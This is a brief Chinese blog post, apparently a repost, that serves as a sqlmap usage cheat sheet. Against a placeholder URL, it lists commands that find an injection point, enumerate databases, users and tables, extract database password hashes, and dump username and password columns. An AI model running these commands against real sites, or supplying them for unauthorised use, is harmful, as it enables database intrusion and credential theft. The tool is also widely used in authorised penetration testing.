sqlmap使用方法

sqlmap使用:

注入类型有四种分别为:boolean-based blind、error-based、stacked queries、inline query。

sqlmap.py -u 'http://www.example.com/xxx.php?id=1' #-u 注入点   检测注入点是否可用
sqlmap.py -u 'http://www.example.com/xxx.php?id=1' --dbs    #可曝出该sqlserver中所有数据库名称
sqlmap.py -u 'http://www.example.com/xxx.php?id=1' --current-db   #web当前使用的数据库
sqlmap.py -u 'http://www.example.com/xxx.php?id=1' --current-user  #web数据库使用账户
sqlmap.py -u 'http://www.example.com/xxx.php?id=1' --users    #列出sql所有用户
sqlmap.py -u 'http://www.example.com/xxx.php?id=1'--passwords   #数据库账户与密码
sqlmap.py -u 'http://www.example.com/xxx.php?id=1'--tables    #输出所有的表
sqlmap.py -u 'http://www.example.com/xxx.php?id=1'-D 【数据库名】 --tables  #-D 指定数据库名

sqlmap.py -u 'http://www.example.com/xxx.php?id=1' -D 【数据库名】 -T 【表名】 --columns  #-T:指定要列出字段的表   --columns 列出了所有的列字段

sqlmap.py -u 'http://www.example.com/xxx.php?id=1' -D 【数据库名】 -T 【表名】 -C "username,realname,password" --dump     # -C :指定要暴的字段  --dump:将结果导出。

转载于:https://www.cnblogs.com/wendy9593/p/9323597.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值